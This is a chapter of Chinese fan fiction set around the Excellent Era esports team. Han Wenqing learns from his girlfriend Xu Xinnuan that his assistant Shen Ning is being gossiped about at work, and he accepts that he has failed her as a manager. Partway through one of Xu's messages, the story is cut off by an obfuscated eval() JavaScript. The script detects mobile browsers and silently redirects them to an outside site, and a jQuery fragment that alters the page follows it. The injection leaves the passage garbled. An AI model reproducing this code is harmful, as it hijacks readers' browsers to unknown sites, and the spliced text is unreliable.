许心暖和韩文清离开后直接开车去往订好的湘菜馆。
往常许心暖在不打扰韩文清开车的前提下总会找点事做，比如看看车上最新的摆件，或者看看书，玩玩手机。
偶尔两人聊两句，韩文清问点二选一那种简单的事儿，许心暖就通过敲击玻璃的次数回答。
不论怎样都是有神采的，是笑着的。
可今天许心暖就抱着帆布袋，侧着头安安静静看着窗外，一脸若有所思的模样。
脸上藏不住事，韩文清一下子就能看出来，她不是很高兴。
韩文清路上没问，等到了地方，两人点完餐等着的时候，才开口问道。
“怎么了？有心事？”
许心暖很诚实地点头，本来她也没想瞒着他。
当初他俩就说好了，互相不欺骗不隐瞒。
“愿意说吗？”
许心暖比划：[等回家吧，我要再想想。]
“嗯。吃饭时候开心点。”
韩文清不逼她，把她杯子拿过来用水简单冲了一下，然后给她倒了杯奶茶。
杯子放下，就听到手机提示音。
韩文清点开，手指滑动认真看了一会儿，点了两下又发了消息。
等放下手机，许心暖问他：[还有工作呀？]
“就刚才沈凝说的那个合同。”
[她这么快就改完了？]
“嗯，她做事儿是挺干练。”
许心暖了然，没再说什么，拿起筷子吃起刚上的菜。
吃饭的时候气氛还是跟往常一样，两人很融洽，许心暖还一直给韩文清分享前几天公众号上分享的一个周边文旅小镇，告诉他好几个想吃的美食，还有想买的手工艺品。
仿佛之前的心事并不存在一般。
一直到回家后，两个人在沙发上看着电视，韩文清仍旧不催她，安安静静在等，许心暖抱着靠枕窝在一边，思索良久后终于发出了灵魂一问。
[你们单位是不是有职场霸凌啊？]
韩文清看到手机上的这几个字，整个人都透着不可思议。
他脑子里想了各种各样的可能，可万万想不到许心暖竟然会说这个。
霸图还有这么糟糕的事儿？
吴蒙一天天的都在干什么吃的？
“你碰上了？”
许心暖重重的点头，然后用最快速度把她听到的都写下来给韩文清看。
一五一十毫不保留，比如沈凝走后门、沈凝深藏不露的背景、沈凝左右逢源、沈凝跟韩文清的八卦、沈凝和自己被当作小三和原配的比喻、吴蒙防备韩文清安插眼线……
就见韩文清脸色越来越差，看到最后直接把手机扔在沙发上，声音直接彪了起来：“这都什么乱七八糟的！”
虽然有心里准备了，可突然这么一下还是吓了一大跳，许心暖赶紧抓过自己那被泄愤的可怜的手机，生怕再被韩文清株连，蜷着腿委屈巴巴看着韩文清。
韩文清闭眼吸了一口气，努力让自己声音不那么冲：“不是跟你生气。”
许心暖自然知道，看他的反应大概那一下子上头的暴怒过去了，才继续写道：[我在电梯边上听两个女生说的，她们那个意思好像你们公司都知道沈凝托关系进来的？]
韩文清平时并不关注公司其他人的动向，更不用说根本没人敢在他跟前嚼舌根子，他压根不知道沈凝来队里当助理这事儿已经传成这样了。
说托关系进来就算了，这是实情，再说了公司哪个部门没有托关系进人的？他虽然个人很反感这种行为，但既然进来了、让别人议论两句也不能说什么。
毕竟是既得利益者。
可后面那些捕风捉影的事是什么玩意？
战队招了个女助理就觉得有暧昧故事？一起吃了一顿午饭聊工作就是关系不纯？
还有什么原配和女秘书？
小说看多了撑得吗？平时太闲了一根直肠通大脑了吗？
还吴蒙防着他给他安插一个女探子？
这不当编剧都屈才了！
韩文清越想越气，拳头一直攥着绷着劲儿，靠着沙发闭眼沉默。
他知道，这种事对他基本就没什么影响，最受伤的一个人是当事人沈凝，另一个就是无辜难过一通的许心暖。
本来她从小性格敏感就容易瞎想，好不容易他俩关系公开了，一切都顺顺利利下一步就准备敲定事儿了，冒出这么一出莫须有的事。
太恶心人了。
他忍着火气，耐着性子跟许心暖解释。
“沈凝确实是吴蒙直接介绍进战队的，她是霸图上属集团董事长的女儿，下放锻炼来的，公司其他人确实不知道。我和她就是正常上下级，一起吃午饭也就只有那一次，是因为有公司的事要跟她说。”
解释了很多，可让许心暖最惊讶的莫过于沈凝的身份。
董事长的女儿，这可不是一般的有钱人。
这是传说中真正的豪门千金啊！
难怪举手投足那么优雅，穿运动服都干练漂亮。
她果然没猜错，那个包一定超级贵！
买U家的衣服就是大小姐体验平民生活闹着玩吧！
许心暖眼睛睁得老大，嘴也能含下半个鸡蛋。她向韩文清面前凑了凑，问道：[她是不是比你还有钱？]
韩文清的火气一下子就堵在了嗓子眼里。
她就关注这？
不应该关注他和沈凝的绯闻吗？
许心暖晃了晃他胳膊催他回答。
“……是比我有钱。”
说完，就见许心暖眼睛全是八卦的火苗。
韩文清：……
之前给她买条贵点的裙子就一脸的嫌贵，这一听沈凝有钱倒是很高兴？
什么脑回路。
韩文清不知道许心暖是不是故意强装出来的，还是把话题拽了回去，问：“没误会吗？”
听到他很在意她的心情，许心暖这才表情收敛了些许，很坚定地点头，一点都没有犹豫。
韩文清心里的暴躁总算是有了那么一点安慰。
可这点安慰就像一滴在沙漠中的水，毫厘间就被蒸发殆尽。
只见许心暖又严肃起来，很不满地指责他：[你工作太失职了。]
接下来就像他在游戏里把对手一顿暴揍一样，许心暖开启了火力输出。
[第一，就算沈凝是托关系进来的，但你既然点头了，那她就是你的下属，关心下属情况是你的责任。要不是今天我听到了，你居然还不知道情况？]
[第二，张新杰不在，又是夏休期，队里就你们两个人，不聊工作你们中午平时都不一起吃饭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379660|184088||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗？本来就是新人，每天中午一个人孤零零吃饭，一点都不团结。]
[第三，为什么沈凝都入职一个月了，连队服都没有？我问博远了，蓝雨只要是队里的人，不管什么职位都有跟选手一样统一的队服。之前视频里我看兴欣的随队人员也有。你都不知道，为了配合你们日常的运动风队服，人家特意调整自己的风格，又怕跟别的部门开会太随意，还天天备着西装外套。]
[还有……]
许心暖绷着脸，很努力想第四条，想了半天没想出来，好像更不高兴了，皱着眉总结写道：[总之，你太失职了。]
噼里啪啦一顿输出，打出来的字都快成赶上黄少天的小作文了。
许心暖一向温柔得不行，很少会生气，像这样劈头盖脸地指责他更是他们认识以来第一次。
韩文清开始确实有些惊诧，可后来看着这些批评，心绪也集中起来开始反思。
他知道许心暖从来都不是那种无理搅三分的人，她说的这些都很中肯，也很人性化。
尤其是第一条和第三条，确实是他作为一个领导的失职。
他自己平时觉得行得正坐得直就行，别人的乱七八糟事他连听都懒得听，巴不得谁别来烦他。
自己是清净了，可却是忽视了沈凝的情况。
而且关于队服，队里规定是每个人都有的，不管是不是选手，都有春夏装、秋冬装，沈凝作为队里一员，这自然是她应该有的。
可因为队里一直没有助理，他和张新杰都忽视了队服这个事。
这是严重失职。
外在的谣言和中伤固然让人厌恶，可他在这其中确实存在很大问题。
沉默良久，韩文清开口道：“你说得对，是我的责任。队服的事我尽快安排，沈凝那边我找时间会跟她聊聊，公司里风向我也会注意。”
许心暖也早已软绵了下来，脸上恹恹的，比划道：[她穿M的。]
韩文清说：“你还挺喜欢她。”
许心暖点点头：[她挺好的，尤其是知道她家世那么好，再想想就觉得她很照顾我。]
会在刚见面她紧张尴尬的时候主动聊天，还偷偷告诉她生理期的小秘密。
会很耐心等着她打字，从来没有任何不耐烦的表情。
会跟普通女生聊穿搭一样，分享自己的搭配心得，又没有一点点炫耀得意的意思。
没有探究她的私事，没有探寻她和韩文清的八卦，没有交浅言深，没有刻意套近乎，没有同情和怜悯。
一切举动都是第一次见面应有的刚刚好的舒服相处模式。
[大概这就是从小养成的教养和气度吧。]许心暖写道。
“可能吧。”
[总之你们照顾她一点，那些话她肯定多多少少知道，女生都很敏感的。]
“好。”
韩文清知道，许心暖在感同身受，她从小到大经历过的排挤、奚落、嘲讽，一定比今天这些要多得多。
所以许心暖担心沈凝，即使沈凝和她从小生活在两个完全不同的世界。
而如果真像她所说，沈凝是知道这些流言的，可她却从来没有表现出一点对流言困扰的样子，没有跟他或张新杰告状诉苦，一直都在努力工作。
韩文清发自内心觉得，女生们真的是坚韧又善良。